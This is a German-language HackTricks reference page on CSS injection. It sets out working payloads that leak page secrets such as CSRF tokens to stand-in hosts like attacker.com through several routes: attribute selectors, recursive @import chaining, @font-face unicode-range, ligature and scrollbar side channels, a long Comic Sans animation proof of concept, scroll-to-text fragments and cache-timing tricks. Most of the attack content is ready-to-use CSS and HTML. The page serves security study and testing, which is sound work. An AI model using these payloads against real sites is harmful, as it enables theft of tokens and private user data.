CSS Injection

Unterstütze HackTricks

CSS Injection

Attribut-Selektor

CSS-Selektoren sind so gestaltet, dass sie die Werte der name- und value-Attribute eines input-Elements abgleichen. Wenn das value-Attribut des Eingabeelements mit einem bestimmten Zeichen beginnt, wird eine vordefinierte externe Ressource geladen:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Allerdings stößt dieser Ansatz auf eine Einschränkung, wenn es um versteckte Eingabeelemente (type="hidden") geht, da versteckte Elemente keine Hintergründe laden.

Umgehung für versteckte Elemente

Um diese Einschränkung zu umgehen, können Sie ein nachfolgendes Geschwisterelement mit dem ~ allgemeinen Geschwisterkombinator anvisieren. Die CSS-Regel wird dann auf alle Geschwister angewendet, die dem versteckten Eingabeelement folgen, wodurch das Hintergrundbild geladen wird:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet detailliert beschrieben. Sie können es hier einsehen.

Voraussetzungen für CSS-Injection

Damit die CSS-Injection-Technik effektiv ist, müssen bestimmte Bedingungen erfüllt sein:

  1. Payload-Länge: Der CSS-Injection-Vektor muss ausreichend lange Payloads unterstützen, um die gestalteten Selektoren unterzubringen.

  2. CSS-Neubewertung: Sie sollten die Fähigkeit haben, die Seite einzurahmen, was notwendig ist, um die Neubewertung von CSS mit neu generierten Payloads auszulösen.

  3. Externe Ressourcen: Die Technik setzt die Möglichkeit voraus, extern gehostete Bilder zu verwenden. Dies könnte durch die Content Security Policy (CSP) der Seite eingeschränkt sein.

Blinder Attributselektor

Wie in diesem Beitrag erklärt, ist es möglich, die Selektoren :has und :not zu kombinieren, um Inhalte sogar von blinden Elementen zu identifizieren. Dies ist sehr nützlich, wenn Sie keine Ahnung haben, was sich in der Webseite befindet, die die CSS-Injection lädt. Es ist auch möglich, diese Selektoren zu verwenden, um Informationen aus mehreren Blöcken desselben Typs zu extrahieren, wie in:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Kombiniert man dies mit der folgenden @import-Technik, ist es möglich, eine Menge Info mit CSS-Injection von blinden Seiten zu exfiltrieren mit blind-css-exfiltration.

@import

Die vorherige Technik hat einige Nachteile, siehe die Voraussetzungen. Du musst entweder in der Lage sein, mehrere Links an das Opfer zu senden, oder du musst in der Lage sein, die CSS-Injection-anfällige Seite in ein Iframe zu laden.

Es gibt jedoch eine weitere clevere Technik, die CSS @import verwendet, um die Qualität der Technik zu verbessern.

Dies wurde zuerst von Pepe Vila gezeigt und funktioniert so:

Anstatt die gleiche Seite immer wieder mit Dutzenden von verschiedenen Payloads zu laden (wie in der vorherigen), werden wir die Seite nur einmal und nur mit einem Import zum Server des Angreifers laden (das ist die Payload, die an das Opfer gesendet werden soll):

@import url('//attacker.com:5001/start?');
  1. Der Import wird einige CSS-Skripte von den Angreifern empfangen und der Browser wird sie laden.

  2. Der erste Teil des CSS-Skripts, den der Angreifer senden wird, ist ein weiteres @import zum Server des Angreifers.

  3. Der Server des Angreifers wird diese Anfrage noch nicht beantworten, da wir einige Zeichen leaken und dann diesen Import mit der Payload beantworten wollen, um die nächsten zu leaken.

  4. Der zweite und größere Teil der Payload wird ein Attributselektor-Leakage-Payload sein.

  5. Dies wird an den Server des Angreifers das erste Zeichen des Geheimnisses und das letzte senden.

  6. Sobald der Server des Angreifers das erste und letzte Zeichen des Geheimnisses erhalten hat, wird er den Import, der in Schritt 2 angefordert wurde, beantworten.

  7. Die Antwort wird genau die gleiche sein wie in den Schritten 2, 3 und 4, aber diesmal wird sie versuchen, das zweite Zeichen des Geheimnisses und dann das vorletzte zu finden.

Der Angreifer wird diesen Loop fortsetzen, bis es ihm gelingt, das Geheimnis vollständig zu leaken.

Sie können den ursprünglichen Code von Pepe Vila, um dies auszunutzen, hier finden oder Sie können fast den gleichen Code, aber kommentiert, hier finden.

Das Skript wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), da der Attributselektor es ermöglicht, Dinge zu tun wie:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Dies ermöglicht es dem Skript, das Geheimnis schneller zu leaken.

Manchmal erkennt das Skript nicht korrekt, dass das entdeckte Präfix + Suffix bereits die vollständige Flagge ist und es wird weiterhin vorwärts (im Präfix) und rückwärts (im Suffix) fortfahren und irgendwann wird es hängen bleiben. Keine Sorge, überprüfe einfach die Ausgabe, denn du kannst die Flagge dort sehen.

Andere Selektoren

Andere Möglichkeiten, um auf DOM-Teile mit CSS-Selektoren zuzugreifen:

  • .class-to-search:nth-child(2): Dies wird das zweite Element mit der Klasse "class-to-search" im DOM suchen.

  • :empty Selektor: Wird zum Beispiel in diesem Writeup** verwendet:**

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

Referenz: CSS-basierter Angriff: Missbrauch von unicode-range von @font-face , Error-Based XS-Search PoC von @terjanq

Die allgemeine Absicht ist es, eine benutzerdefinierte Schriftart von einem kontrollierten Endpunkt zu verwenden und sicherzustellen, dass Text (in diesem Fall 'A') nur mit dieser Schriftart angezeigt wird, wenn die angegebene Ressource (favicon.ico) nicht geladen werden kann.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Verwendung von benutzerdefinierten Schriftarten:

  • Eine benutzerdefinierte Schriftart wird mit der Regel @font-face innerhalb eines <style>-Tags im <head>-Bereich definiert.

  • Die Schriftart heißt poc und wird von einem externen Endpunkt (http://attacker.com/?leak) abgerufen.

  • Die Eigenschaft unicode-range ist auf U+0041 gesetzt, um das spezifische Unicode-Zeichen 'A' anzusprechen.

  1. Objektelement mit Fallback-Text:

  • Ein <object>-Element mit id="poc0" wird im <body>-Bereich erstellt. Dieses Element versucht, eine Ressource von http://192.168.0.1/favicon.ico zu laden.

  • Die font-family für dieses Element ist auf 'poc' gesetzt, wie im <style>-Bereich definiert.

  • Wenn die Ressource (favicon.ico) nicht geladen werden kann, wird der Fallback-Inhalt (der Buchstabe 'A') innerhalb des <object>-Tags angezeigt.

  • Der Fallback-Inhalt ('A') wird mit der benutzerdefinierten Schriftart poc gerendert, wenn die externe Ressource nicht geladen werden kann.

Styling Scroll-to-Text Fragment

Die :target Pseudo-Klasse wird verwendet, um ein Element auszuwählen, das durch einen URL-Fragment angesprochen wird, wie in der CSS Selectors Level 4-Spezifikation angegeben. Es ist wichtig zu verstehen, dass ::target-text keine Elemente übereinstimmt, es sei denn, der Text wird ausdrücklich durch das Fragment angesprochen.

Ein Sicherheitsproblem entsteht, wenn Angreifer die Scroll-to-text Fragmentfunktion ausnutzen, die es ihnen ermöglicht, das Vorhandensein bestimmter Texte auf einer Webseite zu bestätigen, indem sie eine Ressource von ihrem Server durch HTML-Injection laden. Die Methode besteht darin, eine CSS-Regel wie diese einzufügen:

:target::before { content : url(target.png) }

In solchen Szenarien, wenn der Text "Administrator" auf der Seite vorhanden ist, wird die Ressource target.png vom Server angefordert, was auf die Anwesenheit des Textes hinweist. Eine Instanz dieses Angriffs kann durch eine speziell gestaltete URL ausgeführt werden, die das injizierte CSS zusammen mit einem Scroll-to-text-Fragment einbettet:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Hier manipuliert der Angriff die HTML-Injektion, um den CSS-Code zu übertragen, der auf den spezifischen Text "Administrator" abzielt, durch den Scroll-to-text-Fragment (#:~:text=Administrator). Wenn der Text gefunden wird, wird die angegebene Ressource geladen, was unbeabsichtigt ihre Präsenz an den Angreifer signalisiert.

Zur Minderung sollten die folgenden Punkte beachtet werden:

  1. Eingeschränkte STTF-Übereinstimmung: Das Scroll-to-text-Fragment (STTF) ist so konzipiert, dass es nur Wörter oder Sätze übereinstimmt, wodurch seine Fähigkeit, beliebige Geheimnisse oder Tokens zu leaken, eingeschränkt wird.

  2. Einschränkung auf Top-Level-Browsing-Kontexte: STTF funktioniert ausschließlich in Top-Level-Browsing-Kontexten und nicht innerhalb von iframes, wodurch jeder Versuch der Ausnutzung für den Benutzer auffälliger wird.

  3. Notwendigkeit der Benutzeraktivierung: STTF erfordert eine Benutzeraktivierungs-Geste, um zu funktionieren, was bedeutet, dass Ausnutzungen nur durch benutzerinitiierte Navigationen möglich sind. Diese Anforderung verringert erheblich das Risiko, dass Angriffe automatisiert ohne Benutzerinteraktion durchgeführt werden. Dennoch weist der Autor des Blogbeitrags auf spezifische Bedingungen und Umgehungen hin (z. B. Social Engineering, Interaktion mit verbreiteten Browsererweiterungen), die die Automatisierung des Angriffs erleichtern könnten.

Das Bewusstsein für diese Mechanismen und potenziellen Schwachstellen ist entscheidend für die Aufrechterhaltung der Websicherheit und den Schutz vor solchen ausbeuterischen Taktiken.

Für weitere Informationen siehe den ursprünglichen Bericht: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Sie können einen Exploit, der diese Technik für ein CTF verwendet, hier überprüfen.

@font-face / unicode-range

Sie können externe Schriftarten für spezifische Unicode-Werte angeben, die nur gesammelt werden, wenn diese Unicode-Werte auf der Seite vorhanden sind. Zum Beispiel:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

When you access this page, Chrome und Firefox holen "?A" und "?B", weil der Textknoten von sensitive-information die Zeichen "A" und "B" enthält. Aber Chrome und Firefox holen "?C" nicht, weil es "C" nicht enthält. Das bedeutet, dass wir "A" und "B" lesen konnten.

Textknoten-Exfiltration (I): Ligaturen

Referenz: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Die beschriebene Technik beinhaltet das Extrahieren von Text aus einem Knoten, indem Schriftligaturen ausgenutzt und Änderungen in der Breite überwacht werden. Der Prozess umfasst mehrere Schritte:

  1. Erstellung von benutzerdefinierten Schriftarten:

  • SVG-Schriftarten werden mit Glyphen erstellt, die ein horiz-adv-x-Attribut haben, das eine große Breite für ein Glyphen darstellt, das eine zweiziffrige Sequenz repräsentiert.

  • Beispiel SVG-Glyph: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, wobei "XY" eine zweiziffrige Sequenz bezeichnet.

  • Diese Schriftarten werden dann mit fontforge in das woff-Format konvertiert.

  1. Erkennung von Breitenänderungen:

  • CSS wird verwendet, um sicherzustellen, dass der Text nicht umbricht (white-space: nowrap) und um den Stil der Bildlaufleiste anzupassen.

  • Das Erscheinen einer horizontalen Bildlaufleiste, die deutlich gestaltet ist, fungiert als Indikator (Orakel), dass eine bestimmte Ligatur und damit eine bestimmte Zeichenfolge im Text vorhanden ist.

  • Das verwendete CSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Exploit-Prozess:

  • Schritt 1: Schriftarten werden für Zeichenpaare mit erheblicher Breite erstellt.

  • Schritt 2: Ein trick mit der Bildlaufleiste wird verwendet, um zu erkennen, wann das Glyph mit großer Breite (Ligatur für ein Zeichenpaar) gerendert wird, was auf die Anwesenheit der Zeichenfolge hinweist.

  • Schritt 3: Nach der Erkennung einer Ligatur werden neue Glyphen generiert, die dreiziffrige Sequenzen darstellen, wobei das erkannte Paar und ein vorangestelltes oder nachgestelltes Zeichen hinzugefügt werden.

  • Schritt 4: Die Erkennung der dreiziffrigen Ligatur wird durchgeführt.

  • Schritt 5: Der Prozess wiederholt sich und enthüllt schrittweise den gesamten Text.

  1. Optimierung:

  • Die aktuelle Initialisierungsmethode mit <meta refresh=... ist nicht optimal.

  • Ein effizienterer Ansatz könnte den CSS @import-Trick beinhalten, um die Leistung des Exploits zu verbessern.

Textknoten-Exfiltration (II): Leaking des Zeichensatzes mit einer Standard-Schriftart (ohne externe Assets)

Referenz: PoC using Comic Sans by @Cgvwzq & @Terjanq

Dieser Trick wurde in diesem Slackers-Thread veröffentlicht. Der Zeichensatz, der in einem Textknoten verwendet wird, kann unter Verwendung der Standard-Schriftarten, die im Browser installiert sind, geleakt werden: keine externen - oder benutzerdefinierten - Schriftarten sind erforderlich.

Das Konzept dreht sich darum, eine Animation zu nutzen, um die Breite eines div schrittweise zu erweitern, sodass jeweils ein Zeichen von dem 'Suffix'-Teil des Textes in den 'Präfix'-Teil übergeht. Dieser Prozess teilt den Text effektiv in zwei Abschnitte:

  1. Präfix: Die erste Zeile.

  2. Suffix: Die nachfolgende(n) Zeile(n).

Die Übergangsphasen der Zeichen würden wie folgt erscheinen:

C ADB

CA DB

CAD B

CADB

Während dieses Übergangs wird der unicode-range-Trick verwendet, um jedes neue Zeichen zu identifizieren, während es dem Präfix beitritt. Dies wird erreicht, indem die Schriftart auf Comic Sans gewechselt wird, die deutlich höher ist als die Standard-Schriftart, was eine vertikale Bildlaufleiste auslöst. Das Erscheinen dieser Bildlaufleiste offenbart indirekt die Anwesenheit eines neuen Zeichens im Präfix.

Obwohl diese Methode die Erkennung einzigartiger Zeichen ermöglicht, während sie erscheinen, gibt sie nicht an, welches Zeichen wiederholt wird, sondern nur, dass eine Wiederholung stattgefunden hat.

Im Grunde wird der unicode-range verwendet, um ein Zeichen zu erkennen, aber da wir keine externe Schriftart laden wollen, müssen wir einen anderen Weg finden. Wenn das Zeichen gefunden wird, erhält es die vorinstallierte Comic Sans-Schriftart, die das Zeichen größer macht und eine Bildlaufleiste auslöst, die das gefunden Zeichen leakt.

Überprüfen Sie den aus der PoC extrahierten Code:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Textnode-Exfiltration (III): Leaking des Zeichensatzes mit einer Standard-Schriftart durch Verstecken von Elementen (ohne externe Assets)

Referenz: Dies wird als eine erfolglose Lösung in diesem Bericht erwähnt

Dieser Fall ist sehr ähnlich zum vorherigen, jedoch besteht in diesem Fall das Ziel darin, spezifische Zeichen größer als andere zu machen, um etwas wie einen Button zu verstecken, der nicht vom Bot gedrückt werden soll, oder ein Bild, das nicht geladen wird. So könnten wir die Aktion (oder das Fehlen der Aktion) messen und wissen, ob ein spezifisches Zeichen im Text vorhanden ist.

Textnode-Exfiltration (III): Leaking des Zeichensatzes durch Cache-Timing (ohne externe Assets)

Referenz: Dies wird als eine erfolglose Lösung in diesem Bericht erwähnt

In diesem Fall könnten wir versuchen zu leaken, ob ein Zeichen im Text vorhanden ist, indem wir eine gefälschte Schriftart aus demselben Ursprung laden:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Wenn es eine Übereinstimmung gibt, wird die Schriftart von /static/bootstrap.min.css?q=1 geladen. Obwohl sie nicht erfolgreich geladen wird, sollte der Browser sie cachen, und selbst wenn es keinen Cache gibt, gibt es einen 304 not modified Mechanismus, sodass die Antwort schneller sein sollte als andere Dinge.

Wenn der Zeitunterschied der zwischengespeicherten Antwort zur nicht zwischengespeicherten nicht groß genug ist, wird dies jedoch nicht nützlich sein. Zum Beispiel erwähnte der Autor: Nach Tests stellte ich fest, dass das erste Problem darin besteht, dass die Geschwindigkeit nicht viel anders ist, und das zweite Problem ist, dass der Bot das disk-cache-size=1 Flag verwendet, was wirklich durchdacht ist.

Textknoten-Exfiltration (III): Leaking des Zeichensatzes durch zeitgesteuertes Laden von Hunderten von lokalen "Schriftarten" (ohne externe Assets)

Referenz: Dies wird als eine erfolglose Lösung in diesem Bericht erwähnt

In diesem Fall können Sie CSS angeben, um Hunderte von gefälschten Schriftarten aus demselben Ursprung zu laden, wenn eine Übereinstimmung auftritt. Auf diese Weise können Sie die Zeit messen, die benötigt wird, und herausfinden, ob ein Zeichen erscheint oder nicht, mit etwas wie:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Und der Code des Bots sieht so aus:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

So, wenn die Schriftart nicht übereinstimmt, wird die Antwortzeit beim Besuch des Bots voraussichtlich etwa 30 Sekunden betragen. Wenn jedoch eine Schriftartübereinstimmung vorliegt, werden mehrere Anfragen gesendet, um die Schriftart abzurufen, was zu kontinuierlicher Aktivität im Netzwerk führt. Infolgedessen dauert es länger, die Stoppbedingung zu erfüllen und die Antwort zu erhalten. Daher kann die Antwortzeit als Indikator verwendet werden, um festzustellen, ob eine Schriftartübereinstimmung vorliegt.

References

Support HackTricks

Last updated